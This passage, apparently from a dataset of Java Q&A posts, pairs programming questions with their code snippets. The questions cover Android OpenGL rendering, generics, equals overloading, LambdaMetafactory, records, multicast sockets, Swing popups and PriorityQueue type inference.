warnings,Reasoning about reals +Java,"Good day ! I am doing some simple tests with OpenGL ES 2.0 for Android . I am using a model loader that works well in the Emulator . However , when I try to use it on a ASUS ZenFone 2E ( Android 5.0.1 ) ( Prepaid Phone ) it simply shows the clear color of the background with no rotating model . I am hoping that someone who is well experienced in both OpenGL ES 2.0 and Android will assist me . Sorry for the verbosity , I really have no idea why it is n't working on the phone . Here is the source ( I 'm an extreme novice ) : GameView.java : Shader.javaProgram.javaModel.javaOBJLoader.javaMainActivity.javaAndroidManifest.xmlVertex ShaderFragment Shader","package wise.child.dials ; import android.content.Context ; import android.opengl.GLES20 ; import android.opengl.GLSurfaceView ; import android.opengl.Matrix ; import android.os.SystemClock ; import java.io.IOException ; import java.nio.FloatBuffer ; import javax.microedition.khronos.egl.EGLConfig ; import javax.microedition.khronos.opengles.GL10 ; import model.Model ; import render.Program ; import render.Shader ; import util.OBJLoader ; public class GameView extends GLSurfaceView implements GLSurfaceView.Renderer { // App Context private Context mContext ; // Handles private int mPositionHandle ; private int mColorHandle ; private int mMVPMatrixHandle ; // Program & Shaders private Program testProgram ; private Shader testVertexShader ; private Shader testFragmentShader ; // Model private Model model ; private FloatBuffer vertexFloatBuffer ; private int vertexCount ; // Matrices private final float [ ] mMVPMatrix = new float [ 16 ] ; private final float [ ] mProjectionMatrix = new float [ 16 ] ; private final float [ ] mViewMatrix = new float [ 16 ] ; private float [ ] mRotationMatrix = new float [ 16 ] ; // Constructor public GameView ( Context context ) { super ( context ) ; // App Context mContext = context ; // OpenGL ES 2.0 Context setEGLContextClientVersion ( 2 ) ; // Renderer setRenderer ( this ) ; } /* -- -- -- -- -- -- -- -- -- -*/ /* Rendering Methods */ /* -- -- -- -- -- -- -- -- -- -*/ // One Time Initialization @ Override public void onSurfaceCreated ( GL10 gl , EGLConfig config ) { GLES20.glClearColor ( 0.95f , 0.95f , 0.95f , 1f ) ; // Initialize Shaders testVertexShader = new Shader ( GLES20.GL_VERTEX_SHADER , mContext , R.raw.test_vertex_shader ) ; testFragmentShader = new Shader ( GLES20.GL_FRAGMENT_SHADER , mContext , R.raw.test_fragment_shader ) ; // Create Program testProgram = new Program ( testVertexShader , testFragmentShader ) ; testProgram.use ( ) ; // Get Handles - Uniforms & Attributes mPositionHandle = testProgram.getAttribute ( `` vPosition '' ) ; mColorHandle = testProgram.getUniform ( `` vColor '' ) ; mMVPMatrixHandle = testProgram.getUniform ( `` uMVPMatrix '' ) ; // Model try { model = OBJLoader.loadOBJ ( mContext , R.raw.spider ) ; vertexFloatBuffer = model.getVerticesFromIndices ( ) ; vertexCount = model.getVertexCount ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } } // Drawing Call @ Override public void onDrawFrame ( GL10 gl ) { GLES20.glClear ( GLES20.GL_COLOR_BUFFER_BIT | GL10.GL_DEPTH_BUFFER_BIT ) ; // Time and Rotation Animation float [ ] scratch = new float [ 16 ] ; long time = SystemClock.uptimeMillis ( ) % 4000L ; float angle = 0.090f * ( ( int ) time ) ; Matrix.setRotateM ( mRotationMatrix , 0 , angle , angle , angle , angle ) ; // Set and Bind Data GLES20.glEnableVertexAttribArray ( mPositionHandle ) ; GLES20.glVertexAttribPointer ( mPositionHandle , 3 , GLES20.GL_FLOAT , false , 12 , vertexFloatBuffer ) ; // Set Color float [ ] color = { .75f , 0f , 0f , 1f } ; GLES20.glUniform4fv ( mColorHandle , 1 , color , 0 ) ; // Camera Position - View Matrix Matrix.setLookAtM ( mViewMatrix , 0 , 0 , 0 , -15 , 0f , 0f , 0f , 0f , 1.0f , 0.0f ) ; // Projection x View Matrix.multiplyMM ( mMVPMatrix , 0 , mProjectionMatrix , 0 , mViewMatrix , 0 ) ; // Rotation x MVP Matrix.multiplyMM ( scratch , 0 , mMVPMatrix , 0 , mRotationMatrix , 0 ) ; // Final Matrix GLES20.glUniformMatrix4fv ( mMVPMatrixHandle , 1 , false , scratch , 0 ) ; // Draw GLES20.glDrawArrays ( GLES20.GL_TRIANGLES , 0 , vertexCount ) ; // Disable GLES20.glDisableVertexAttribArray ( mPositionHandle ) ; } // GLSurface Changed @ Override public void onSurfaceChanged ( GL10 gl , int width , int height ) { // GL Viewport & Aspect Ratio GLES20.glViewport ( 0 , 0 , width , height ) ; float aspectRatio = ( float ) width / height ; // Calculate Projection Matrix.frustumM ( mProjectionMatrix , 0 , -aspectRatio , aspectRatio , -1 , 1 , 3 , 50 ) ; } } package render ; import android.content.Context ; import android.opengl.GLES20 ; import android.util.Log ; import java.io.BufferedReader ; import java.io.IOException ; import java.io.InputStreamReader ; public class Shader { // Shader Source Code public String shaderSource ; // Shader Handle public int shaderHandle ; public int programHandle ; public Shader ( int type , Context context , int resID ) { try { shaderSource = loadShader ( context , resID ) ; Log.d ( `` Shader Load '' , `` Success ! `` ) ; System.out.println ( shaderSource ) ; } catch ( IOException e ) { Log.d ( `` Shader Load '' , `` Failed . `` ) ; e.printStackTrace ( ) ; } shaderHandle = GLES20.glCreateShader ( type ) ; GLES20.glShaderSource ( shaderHandle , shaderSource ) ; GLES20.glCompileShader ( shaderHandle ) ; } // Get From Raw Folder private String loadShader ( Context context , int resID ) throws IOException { BufferedReader reader = new BufferedReader ( new InputStreamReader ( context.getResources ( ) .openRawResource ( resID ) ) ) ; String line , shader ; StringBuilder builder = new StringBuilder ( ) ; while ( ( line = reader.readLine ( ) ) ! = null ) { builder.append ( line ) .append ( '\n ' ) ; } reader.close ( ) ; shader = builder.toString ( ) ; return shader ; } // Associated Program public void setProgram ( int handle ) { programHandle = handle ; } } package render ; import android.opengl.GLES20 ; import java.util.ArrayList ; import java.util.List ; public class Program { public int handle ; private Shader vertexShader ; private Shader fragmentShader ; private List < String > attributes = new ArrayList < String > ( ) ; private List < String > uniforms = new ArrayList < String > ( ) ; public Program ( Shader vertexShader , Shader fragmentShader ) { this.vertexShader = vertexShader ; this.fragmentShader = fragmentShader ; this.vertexShader.setProgram ( handle ) ; this.fragmentShader.setProgram ( handle ) ; handle = GLES20.glCreateProgram ( ) ; GLES20.glAttachShader ( handle , vertexShader.shaderHandle ) ; GLES20.glAttachShader ( handle , fragmentShader.shaderHandle ) ; GLES20.glLinkProgram ( handle ) ; } public void use ( ) { GLES20.glUseProgram ( handle ) ; } public int getAttribute ( String name ) { return GLES20.glGetAttribLocation ( handle , name ) ; } public void setAttribute ( String name ) { } public int getUniform ( String name ) { return GLES20.glGetUniformLocation ( handle , name ) ; } } package model ; import java.nio.ByteBuffer ; import java.nio.ByteOrder ; import java.nio.FloatBuffer ; import java.util.ArrayList ; import java.util.List ; public class Model { private static final int NUM_OF_COORDS = 3 ; public List < Vertex > vertices = new ArrayList < Vertex > ( ) ; public List < Vertex > normals = new ArrayList < Vertex > ( ) ; public List < Face > faces = new ArrayList < Face > ( ) ; public Model ( ) { } public int getVertexCount ( ) { return faces.size ( ) * NUM_OF_COORDS ; } public FloatBuffer getVerticesFromIndices ( ) { int numOfVertices = 3 ; int bytesPerFloat = 4 ; ByteBuffer bb = ByteBuffer.allocateDirect ( faces.size ( ) * numOfVertices * NUM_OF_COORDS * bytesPerFloat ) ; bb.order ( ByteOrder.nativeOrder ( ) ) ; FloatBuffer vertexFloatBuffer = bb.asFloatBuffer ( ) ; // Use indices to find proper vertex for ( Face face : faces ) { // VERTEX 1 vertexFloatBuffer.put ( vertices.get ( ( int ) ( face.vertex.x - 1 ) ) .x ) ; vertexFloatBuffer.put ( vertices.get ( ( int ) ( face.vertex.x - 1 ) ) .y ) ; vertexFloatBuffer.put ( vertices.get ( ( int ) ( face.vertex.x - 1 ) ) .z ) ; // VERTEX 2 vertexFloatBuffer.put ( vertices.get ( ( int ) ( face.vertex.y - 1 ) ) .x ) ; vertexFloatBuffer.put ( vertices.get ( ( int ) ( face.vertex.y - 1 ) ) .y ) ; vertexFloatBuffer.put ( vertices.get ( ( int ) ( face.vertex.y - 1 ) ) .z ) ; // VERTEX 3 vertexFloatBuffer.put ( vertices.get ( ( int ) ( face.vertex.z - 1 ) ) .x ) ; vertexFloatBuffer.put ( vertices.get ( ( int ) ( face.vertex.z - 1 ) ) .y ) ; vertexFloatBuffer.put ( vertices.get ( ( int ) ( face.vertex.z - 1 ) ) .z ) ; } vertexFloatBuffer.position ( 0 ) ; return vertexFloatBuffer ; } public FloatBuffer getNormalsFromIndices ( ) { int numOfVertices = 3 ; int bytesPerFloat = 4 ; ByteBuffer bb = ByteBuffer.allocateDirect ( faces.size ( ) * numOfVertices * NUM_OF_COORDS * bytesPerFloat ) ; bb.order ( ByteOrder.nativeOrder ( ) ) ; FloatBuffer normalFloatBuffer = bb.asFloatBuffer ( ) ; // Use indices to find proper normal for ( Face face : faces ) { // VERTEX 1 normalFloatBuffer.put ( normals.get ( ( int ) ( face.normal.x - 1 ) ) .x ) ; normalFloatBuffer.put ( normals.get ( ( int ) ( face.normal.x - 1 ) ) .y ) ; normalFloatBuffer.put ( normals.get ( ( int ) ( face.normal.x - 1 ) ) .z ) ; // VERTEX 2 normalFloatBuffer.put ( normals.get ( ( int ) ( face.normal.y - 1 ) ) .x ) ; normalFloatBuffer.put ( normals.get ( ( int ) ( face.normal.y - 1 ) ) .y ) ; normalFloatBuffer.put ( normals.get ( ( int ) ( face.normal.y - 1 ) ) .z ) ; // VERTEX 3 normalFloatBuffer.put ( normals.get ( ( int ) ( face.normal.z - 1 ) ) .x ) ; normalFloatBuffer.put ( normals.get ( ( int ) ( face.normal.z - 1 ) ) .y ) ; normalFloatBuffer.put ( normals.get ( ( int ) ( face.normal.z - 1 ) ) .z ) ; } normalFloatBuffer.position ( 0 ) ; return normalFloatBuffer ; } } package util ; import android.content.Context ; import java.io.BufferedReader ; import java.io.IOException ; import java.io.InputStreamReader ; import model.Face ; import model.Model ; import model.Vertex ; public class OBJLoader { /* loads .obj data from file in res/raw folder */ public static Model loadOBJ ( Context context , int resID ) throws IOException { Model model = new Model ( ) ; BufferedReader reader = new BufferedReader ( new InputStreamReader ( context.getResources ( ) .openRawResource ( resID ) ) ) ; String line ; while ( ( line = reader.readLine ( ) ) ! = null ) { if ( line.startsWith ( `` v `` ) ) { // Vertex float x = Float.valueOf ( line.split ( `` `` ) [ 1 ] ) ; float y = Float.valueOf ( line.split ( `` `` ) [ 2 ] ) ; float z = Float.valueOf ( line.split ( `` `` ) [ 3 ] ) ; model.vertices.add ( new Vertex ( x , y , z ) ) ; } else if ( line.startsWith ( `` vn `` ) ) { // Normal float x = Float.valueOf ( line.split ( `` `` ) [ 1 ] ) ; float y = Float.valueOf ( line.split ( `` `` ) [ 2 ] ) ; float z = Float.valueOf ( line.split ( `` `` ) [ 3 ] ) ; model.normals.add ( new Vertex ( x , y , z ) ) ; } else if ( line.startsWith ( `` f `` ) ) { // Face Vertex vertexIndices = new Vertex ( Float.valueOf ( line.split ( `` `` ) [ 1 ] .split ( `` / '' ) [ 0 ] ) , Float.valueOf ( line.split ( `` `` ) [ 2 ] .split ( `` / '' ) [ 0 ] ) , Float.valueOf ( line.split ( `` `` ) [ 3 ] .split ( `` / '' ) [ 0 ] ) ) ; Vertex normalIndices = new Vertex ( Float.valueOf ( line.split ( `` `` ) [ 1 ] .split ( `` / '' ) [ 2 ] ) , Float.valueOf ( line.split ( `` `` ) [ 2 ] .split ( `` / '' ) [ 2 ] ) , Float.valueOf ( line.split ( `` `` ) [ 3 ] .split ( `` / '' ) [ 2 ] ) ) ; model.faces.add ( new Face ( vertexIndices , normalIndices ) ) ; } } reader.close ( ) ; return model ; } } package wise.child.dials ; import android.app.Activity ; import android.os.Bundle ; import android.view.Window ; import android.view.WindowManager ; public class MainActivity extends Activity { @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; // Fullscreen & No Title Bar requestWindowFeature ( Window.FEATURE_NO_TITLE ) ; getWindow ( ) .setFlags ( WindowManager.LayoutParams.FLAG_FULLSCREEN , WindowManager.LayoutParams.FLAG_FULLSCREEN ) ; // Set OpenGL ES Drawing Surface ( Game View ) setContentView ( new GameView ( this ) ) ; } } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < manifest xmlns : android= '' http : //schemas.android.com/apk/res/android '' package= '' wise.child.dials '' > < uses-feature android : glEsVersion= '' 0x00020000 '' android : required= '' true '' / > < supports-gl-texture android : name= '' GL_OES_compressed_ETC1_RGB8_texture '' / > < supports-gl-texture android : name= '' GL_OES_compressed_paletted_texture '' / > < application android : allowBackup= '' true '' android : icon= '' @ mipmap/ic_launcher '' android : label= '' @ string/app_name '' android : supportsRtl= '' true '' android : theme= '' @ style/AppTheme '' > < activity android : name= '' .MenuActivity '' android : screenOrientation= '' landscape '' android : theme= '' @ android : style/Theme.Holo.NoActionBar.Fullscreen '' > < /activity > < activity android : name= '' .MainActivity '' android : screenOrientation= '' landscape '' android : theme= '' @ android : style/Theme.Holo.NoActionBar.Fullscreen '' > < intent-filter > < action android : name= '' android.intent.action.MAIN '' / > < category android : name= '' android.intent.category.LAUNCHER '' / > < /intent-filter > < /activity > < activity android : name= '' .SplashScreen '' / > < /application > < /manifest > attribute vec4 vPosition ; uniform mat4 uMVPMatrix ; void main ( ) { gl_Position = uMVPMatrix * vPosition ; } uniform vec4 vColor ; void main ( ) { gl_FragColor = vColor ; }",Android - OpenGL ES 2.0 : Emulator ( Works ) - Device ( Does n't ) +Java,"Hey , I 'm initializing a ListRepository with two different types of initialization lists . The best way would be something like this.Unfortunately this is not possible due to runtime type erasure . I do n't like a constructor approach with List < ? > as an argument , this leads to an ugly instanceof check of the first entry , to determine the list type and handle it.How do you solve such a problem with an intuitive and clean API ?","public ListRepository ( String id , List < PrimaryKey > initilizationList ) { // Load objects from data source via primary key . } public ListRepository ( String id , List < DomainObject > initilizationList ) { // Store objects directly }",How to initialize an object with a list of different types ? +Java,"There is a method : public static < T > void addandDisp ( Collection < T > cs , T t ) which is being called in the following way : This gives a compile time error . On the other hand , if we had only one parameter , then the call is successful . Why is that ? Moreover , this is successful : while this is not : What is the underlying logic ?","List < ? extends Object > ls2 = new LinkedList < Number > ( ) ; addandDisp ( ls2 , new Object ( ) ) ; List < ? super String > ls1 = new LinkedList < String > ( ) ; addandDisp ( ls1 , new String ( ) ) ; List < ? super String > ls1 = new LinkedList < Object > ( ) ; addandDisp ( ls1 , new Object ( ) ) ;",Issue with using 'extends ' and 'super ' in java generics with generic methods +Java,"I just ran into a problem caused by Java 's java.awt.geom.Area # equals ( Area ) method . The problem can be simplified to the following unit test : After some head scratching and debugging , I finally saw in the JDK source , that the signature of the equals method in Area looks like this : Note that it does not @ Override the normal equals method from Object , but instead just overloads the method with a more concrete type . Thus , the two calls in the example above end up calling different implementations of equals.As this behavior has been present since Java 1.2 , I assume it is not considered a bug . I am , therefore , more interested in finding out why the decision was made to not properly override the equals method , but at the same time provide an overloaded variant . ( Another hint that this was an actual decision made is the absence of an overwritten hashCode ( ) method . ) My only guess would be that the authors feared that the slow equals implementation for areas is unsuitable for comparing equality when placing Areas in Set , Map , etc . datastructures . ( In the above example , you could add a to a HashSet , and although b is equal to a , calling contains ( b ) will fail . ) Then again , why did they not just name the questionable method in a way that does not clash with such a fundamental concept as the equals method ?",@ org.junit.Testpublic void testEquals ( ) { java.awt.geom.Area a = new java.awt.geom.Area ( ) ; java.awt.geom.Area b = new java.awt.geom.Area ( ) ; assertTrue ( a.equals ( b ) ) ; // - > true java.lang.Object o = b ; assertTrue ( a.equals ( o ) ) ; // - > false } public boolean equals ( Area other ),Why does Java 's Area # equals method not override Object # equals ? +Java,"How can I convert a Map < K , V > into listsList < K > keys , List < V > values , such that the order in keys and values match ? I can only find Set < K > Map # keySet ( ) and Collection < V > Map # values ( ) which I could convert to lists using : but I worry that the order will be random.Is it correct that I have to manually convert them or is there a shortcut somewhere ? Update : Owing to the answers I was able to find additional , useful information which I like to share with you , random google user : How to efficiently iterate over each Entry in a Map ?",List < String > keys = new ArrayList < String > ( map.keySet ( ) ) ; List < String > values = new ArrayList < String > ( map.values ( ) ) ;,"How to convert a Map < K , V > into two list while keeping the order ?" +Java,I have 2 questions with this code segmentsmethod 1 is working fine and method 2 does n't . What is the reason for this ? In method 1 return value is byte ( 8 bit ) . But we actually return a char value ( 16 bit ) .what is actually happening here ? //method 1//method 2,static byte m1 ( ) { final char c = ' b'- ' a ' ; return c ; } static byte m3 ( final char c ) { return c ; // 3 },Final parameter in a method in java +Java,"I want to try and avoid reflection for invoking a constructor and am trying to follow the LamdaMetaFactory approach taken in this post - Faster alternatives to Java 's reflectionMy class that I want to construct looks like : Using LambaMetaFactory I am trying to construct a BiFunction < BrokerPool , Configuration , DBBroker > to replace a direct call to the constructor.My code so far looks like : Unfortunately this returns the error - AbstractMethodError : Method org/exist/storage/BrokerFactory $ $ Lambda $ 55.apply ( Ljava/lang/Object ; Ljava/lang/Object ; ) Ljava/lang/Object ; is abstract.I have tried modifying the various types passed to LambdaMetafactory.metafactory but I ca n't quite seem to get this right , and the Javadoc is certainly not easily understood.Can someone advise please ?","interface DBBroker { } public class NativeBroker implements DBBroker { public NativeBroker ( BrokerPool brokerPool , final Configuration configuration ) { } } Class < ? extends DBBroker > clazz = ( Class < ? extends DBBroker > ) Class.forName ( `` org.exist.storage.NativeBroker '' ) ; MethodHandles.Lookup lookup = MethodHandles.lookup ( ) ; MethodHandle mh = lookup.findConstructor ( clazz , MethodType.methodType ( void.class , new Class [ ] { BrokerPool.class , Configuration.class } ) ) ; BiFunction < BrokerPool , Configuration , DBBroker > constructor ( BiFunction < BrokerPool , Configuration , DBBroker > ) LambdaMetafactory.metafactory ( lookup , `` apply '' , MethodType.methodType ( BiFunction.class ) , mh.type ( ) , mh , mh.type ( ) ) .getTarget ( ) .invokeExact ( ) ; final DBBroker broker = constructor.apply ( database , conf ) ;",How to invoke constructor using LambdaMetaFactory ? +Java,"Given the following code : It seems , obviously , that array 's toString , equals methods are used ( instead of static methods , Arrays : :equals , Arrays : :deepEquals or Array : :toString ) .So I guess Java 14 Records ( JEP 359 ) do n't work too well with arrays , the respective methods have to be generated with an IDE ( which at least in IntelliJ , by default generates `` useful '' methods , i.e . they use the static methods in Arrays ) . Or is there any other solution ?","public static void main ( String [ ] args ) { record Foo ( int [ ] ints ) { } var ints = new int [ ] { 1 , 2 } ; var foo = new Foo ( ints ) ; System.out.println ( foo ) ; // Foo [ ints= [ I @ 6433a2 ] System.out.println ( new Foo ( new int [ ] { 1,2 } ) .equals ( new Foo ( new int [ ] { 1,2 } ) ) ) ; // false System.out.println ( new Foo ( ints ) .equals ( new Foo ( ints ) ) ) ; //true System.out.println ( foo.equals ( foo ) ) ; // true }",Java 14 records and arrays +Java,"Recently , I am experiencing a very strange error which I am unable to reproduce locally . It happens on a server ( CentOS ) inside a Spring Boot application.calling new Date ( ) ( java.util.Date ) produces wrong time . And I am not talking about an hour difference due to different timezone . The datetime is off by X minutes . It seems that it is gradually starting to lack behind the current time.When getting the current system clock time , it seems to be correct but the Java time is gradually increasing the difference ( not by one minute every minute but slower ) . Almost like the JVM existed in some time bubble with different laws of time.This issue starting happening accidentally today after a long run without any problems.Could someone suggest what should I try to debug this issue ? I am clueless and can not replicate this issue locally ( everything works on local machine ) .EDIT : The server is running on a virtualized VM stack , as I just found out . I am not sure about the specific HW configuration , though.EDIT2 : I think I found the problematic part . The component causing this problem is running inside a threadpool , so I suspect that all threads in the pool are busy and the requests are queued so it takes gradually more time to handle the requests in which I am setting current timestamp.Example :",@ Asyncpublic Date sendTimeToOtherServer ( ) { Date date = new Date ( ) // code that sends the date to different server },Java time getting out of sync +Java,"When i was dealing with threads concept in Java , i have seen Thread.java source file . I noticed when setName ( ) method assigns string to a character array called `` name [ ] '' . Java has a feature of String data type , then why they are using character array . In source file it is initialised like , In setName ( ) method , Please help me . Thanks in advance .",private char name [ ] ; // why not `` private String name ; '' public final void setName ( String name ) { checkAccess ( ) ; this.name = name.toCharArray ( ) ; },why setName in Thread class assigns to a character array ? why not a String ? +Java,"Some background , then some questions.I have only recently discovered that an interface ( or class ) may be generic in the type of ( checked ) exception that its methods may throw . For example : The point is if you later instantiate this with , say , IOException and invoke the run method , the compiler knows you need to either catch IOException or mark it as thrown . Better still , if X was a RuntimeException , you do n't need to handle it at all.Here 's a contrived example using the above interface , but it 's basically a callback and should be quite common.We 're calling a generic utility method runTwice ( perhaps defined in an external library ) to run our own specific method with a specific checked exception , and we do n't lose any information about which specific checked exception might be thrown.The alternative would have been to simply use throws Exception on both the Runnable.run method and the runTwice method . This would not restrict any implementation of the Runnable interface but the advantage of checked exceptions would be lost . Or there could have been no throws at all , also losing the advantage of checked exceptions and potentially forcing the implementation to wrap.Because I had never seen throws X , maybe I 've missed something . Furthermore , I have seen the callback example used as an argument against checked exceptions several times without it being refuted . ( This question is not interested in the pros/cons of checked exceptions . ) Is throws X generally a good idea ? What are the pros and cons ? Can you give some examples that either use throws X or did n't but should have ? Basically , I would like some further insight . You might comment on the following examples.OutputStream throws IOException ( perhaps ByteArrayOutputStream could extends GenericOutputStream < RuntimeException > ) Callable / Future.getCommons Pool borrowObject / makeObject ( Since editing , I am not asking if these could/should have been designed differently in retrospect . Rather , would throws X be better than throws Exception . )",interface GenericRunnable < X extends Exception > { void run ( ) throws X ; } public < X extends Exception > void runTwice ( GenericRunnable < X > runnable ) throws X { runnable.run ( ) ; runnable.run ( ) ; } ... public myMethod ( ) throws MyException { runTwice ( myRunnable ) ; },Good pattern ? < X extends Exception > ... method ( ) throws X +Java,In Filthy Rich Clients this code is presented : What exactly does ... mean ?,"public ImageLoadingWorker ( JTextArea log , JPanel viewer , String ... filenames ) { }",Java ... operator +Java,"I have a method where I listen for UDP packets in a while loop . I want to parse the packets using another method in a different class as they arrive and do many different parsing and analyzing of each packet in another part of the application . I am thinking it would be better to have the PacketParser methods process the Queue outside of the loop . Would it be possible to just add the packets to a Queue as they come in and then have another part of the application listen for items as they come into the Queue and perform other actions as the original while loop keeps listening for packets and adds them to the queue ? I would like to have another function monitor the queue and process the packets , is there something in Java to monitor a Queue or Stack ? Is there a better way to do this ?","public void read ( String multicastIpAddress , int multicastPortNumber ) { PacketParser parser = new PacketParser ( logger ) ; InetAddress multicastAddress = null ; MulticastSocket multicastSocket = null ; final int PortNumber = multicastPortNumber ; try { multicastAddress = InetAddress.getByName ( multicastIpAddress ) ; multicastSocket = new MulticastSocket ( PortNumber ) ; String hostname = InetAddress.getLocalHost ( ) .getHostName ( ) ; byte [ ] buffer = new byte [ 8192 ] ; multicastSocket.joinGroup ( multicastAddress ) ; System.out.println ( `` Listening from `` + hostname + `` at `` + multicastAddress.getHostName ( ) ) ; int numberOfPackets = 0 ; while ( true ) { numberOfPackets++ ; DatagramPacket datagramPacket = new DatagramPacket ( buffer , buffer.length ) ; multicastSocket.receive ( datagramPacket ) ; // add to queue for another function to process the packets } } catch ( SocketException socketException ) { System.out.println ( `` Socket exception `` + socketException ) ; } catch ( IOException exception ) { System.out.println ( `` Exception `` + exception ) ; } finally { if ( multicastSocket ! = null ) { try { multicastSocket.leaveGroup ( multicastAddress ) ; multicastSocket.close ( ) ; } catch ( IOException exception ) { System.out.println ( exception.toString ( ) ) ; } } } }",Process items in queue as the items are added inside a while loop +Java,I am using this code for fetching user_id & user_codeNow Problem lies here that I am converting the fields according to their specific typeWhat if query goes random ? How to handle that scenario ?,"Keyspace keyspace = HFactory.createKeyspace ( `` test '' , cluster ) ; CqlQuery < String , String , ByteBuffer > cqlQuery = new CqlQuery < String , String , ByteBuffer > ( keyspace , stringSerializer , stringSerializer , new ByteBufferSerializer ( ) ) ; cqlQuery.setQuery ( `` select user_id , user_code from User '' ) ; QueryResult < CqlRows < String , String , ByteBuffer > > result = cqlQuery.execute ( ) ; Iterator iterator = result.get ( ) .iterator ( ) ; while ( iterator.hasNext ( ) ) { Row < String , String , ByteBuffer > row = ( Row < String , String , ByteBuffer > ) iterator.next ( ) ; System.out.println ( `` \nInserted data is as follows : \n '' + row.getColumnSlice ( ) .getColumns ( ) .get ( 0 ) .getValue ( ) .getInt ( ) ) ; System.out.println ( `` \nInserted data is as follows : \n '' + Charset.forName ( `` UTF-8 '' ) .decode ( row.getColumnSlice ( ) .getColumns ( ) .get ( 1 ) .getValueBytes ( ) ) ) ; }",Random column fetch in cassandra +Java,"I have the following class structure : I am trying to model sports events of all kinds ( i.e . a 'Fixture ' is for a particular game between two participants play against each other , whereas another type of 'Event ' may have many participants ) , along with predictions for the outcome of particular 'Events ' . I have a generic method : } I want to be able to return a MyPrediction instance which has the generic type of the fixture argument , but I ca n't seem to do so . For example , if I do something like the following , then I get a compilation error : I am willing to change my class structure to incorporate this feature . How can I do so ?",public class Team { ... } public class Event { } public abstract class Fixture < T extends Team > implements Event { ... } public abstract class Forecast < Event > { } public class MyPrediction < T extends Fixture < ? extends Team > > extends Forecast < Fixture < ? extends Team > > { } public < T > MyPrediction < Fixture < ? extends Team > > getMyPrediction ( Fixture < ? extends Team > fixture ) { SoccerFixture < EnglishSoccerTeams > soccerMatch = new ScoccerFixture < EnglishSoccerTeams > ( ) ; MyPrediction < SoccerFixture < EnglishSoccerTeams > > = getMyPrediction ( soccerMatch ) ;,Java - Return correct type from Generic method +Java,"I 'm looking to prevent a pop-up window from closing in response to focus transfer.A code example is attached . My goal is to be able to expand the combo box drop-down menu , and then select the text field WITHOUT having the drop-down menu disappear . Is this possible ?","import java.awt.BorderLayout ; import javax.swing.JComboBox ; import javax.swing.JDialog ; import javax.swing.JTextField ; public class ComboBoxPopupTest { public static void main ( String [ ] args ) { new ComboBoxPopupTest ( ) ; } public ComboBoxPopupTest ( ) { MyDialog dialog = new MyDialog ( ) ; dialog.setVisible ( true ) ; MyComboBoxDialog window = new MyComboBoxDialog ( ) ; window.setVisible ( true ) ; } private class MyDialog extends JDialog { public MyDialog ( ) { setLayout ( new BorderLayout ( ) ) ; JTextField textField = new JTextField ( `` Text Field '' ) ; textField.putClientProperty ( `` doNotCancelPopup '' , Boolean.TRUE ) ; // FIXME : I Do n't prevent the pop-up from closing ! add ( textField , BorderLayout.CENTER ) ; setSize ( 400 , 400 ) ; } } private class MyComboBoxDialog extends JDialog { public MyComboBoxDialog ( ) { setLayout ( new BorderLayout ( ) ) ; add ( new JComboBox ( new String [ ] { `` String1 '' , `` String2 '' , `` String3 '' } ) , BorderLayout.CENTER ) ; setSize ( 400 , 400 ) ; } } }",Preventing Pop-Up Menu of JComboBox from Closing in Java +Java,"Can someone please explain the difference between these two examples in the context of object locking : And I know the first example will obtain a lock on the this instance and the second will obtain a lock of the aStringBufferObject instance . But i dont really understand what the effect or the difference of the two is . For example , in the second example , will threads still be able to execute the code inside the synchronized block because the lock is not related to the 'this ' instance ? I know that synchronizing a method or a block of code prevents multiple threads to access that block/method at the same time but what is the purpose of specifying the object to lock on and what is the difference in the way the object is specified as in the above examples ?",public void method1 ( ) { synchronized ( this ) { ... . } } StringBuffer aStringBufferObject = new StringBuffer ( `` A '' ) ; public void method2 ( ) { synchronized ( aStringBufferObject ) { ... . } },Synchronized threads and locking +Java,I am solving a question on hackerearth and it is successfully compiling and passing when I am using java version Java 8 ( oracle 1.8.0_131 ) but when Java ( openjdk 1.7.0_95 ) is used it gives an error 15 : error : can not infer type arguments for PriorityQueue < > .The error is on the line when mx priority queue is being declared . I want to know how to resolve it and why this error occurs . Here is the code : ( note that this question is not part of any ongoing contest ) and the relevant part of the code is in main function only .,"import java.io . * ; import java.util . * ; class TestClass { public static void main ( String [ ] args ) { InputReader sc = new InputReader ( System.in ) ; int Q=sc.nextInt ( ) ; PriorityQueue < Integer > mn=new PriorityQueue < > ( ) ; PriorityQueue < Integer > mx=new PriorityQueue < > ( Collections.reverseOrder ( ) ) ; int [ ] cnt =new int [ 100000+1 ] ; for ( int q = 0 ; q < Q ; q++ ) { String str=sc.nextLine ( ) ; if ( str.substring ( 0,4 ) .equals ( `` Push '' ) ) { int X=Integer.parseInt ( str.substring ( 5 ) ) ; ++cnt [ X ] ; mx.add ( X ) ; mn.add ( X ) ; } else if ( str.equals ( `` Diff '' ) ) { if ( mx.isEmpty ( ) ||mn.isEmpty ( ) ) out.println ( -1 ) ; else { int min = mn.poll ( ) ; int max = mx.poll ( ) ; if ( min==max ) { -- cnt [ max ] ; } else { -- cnt [ min ] ; -- cnt [ max ] ; } mn.remove ( max ) ; mx.remove ( min ) ; out.println ( max-min ) ; } } else if ( str.equals ( `` CountHigh '' ) ) { if ( mx.isEmpty ( ) ) { out.println ( -1 ) ; } else { out.println ( cnt [ mx.peek ( ) ] ) ; } } else { if ( mn.isEmpty ( ) ) { out.println ( -1 ) ; } else { out.println ( cnt [ mn.peek ( ) ] ) ; } } // System.out.println ( q+ '' `` +mx+ '' `` +mn ) ; } out.close ( ) ; } static PrintWriter out = new PrintWriter ( new BufferedOutputStream ( System.out ) ) ; static int mod = 1000000000+7 ; static class InputReader { private final InputStream stream ; private final byte [ ] buf = new byte [ 8192 ] ; private int curChar , snumChars ; private SpaceCharFilter filter ; public InputReader ( InputStream stream ) { this.stream = stream ; } public int snext ( ) { if ( snumChars == -1 ) throw new InputMismatchException ( ) ; if ( curChar > = snumChars ) { curChar = 0 ; try { snumChars = stream.read ( buf ) ; } catch ( IOException e ) { throw new InputMismatchException ( ) ; } if ( snumChars < = 0 ) return -1 ; } return buf [ curChar++ ] ; } public int nextInt ( ) { int c = snext ( ) ; while ( isSpaceChar ( c ) ) { c = snext ( ) ; } int sgn = 1 ; if ( c == '- ' ) { sgn = -1 ; c = snext ( ) ; } int res = 0 ; do { if ( c < ' 0 ' || c > ' 9 ' ) throw new InputMismatchException ( ) ; res *= 10 ; res += c - ' 0 ' ; c = snext ( ) ; } while ( ! isSpaceChar ( c ) ) ; return res * sgn ; } public long nextLong 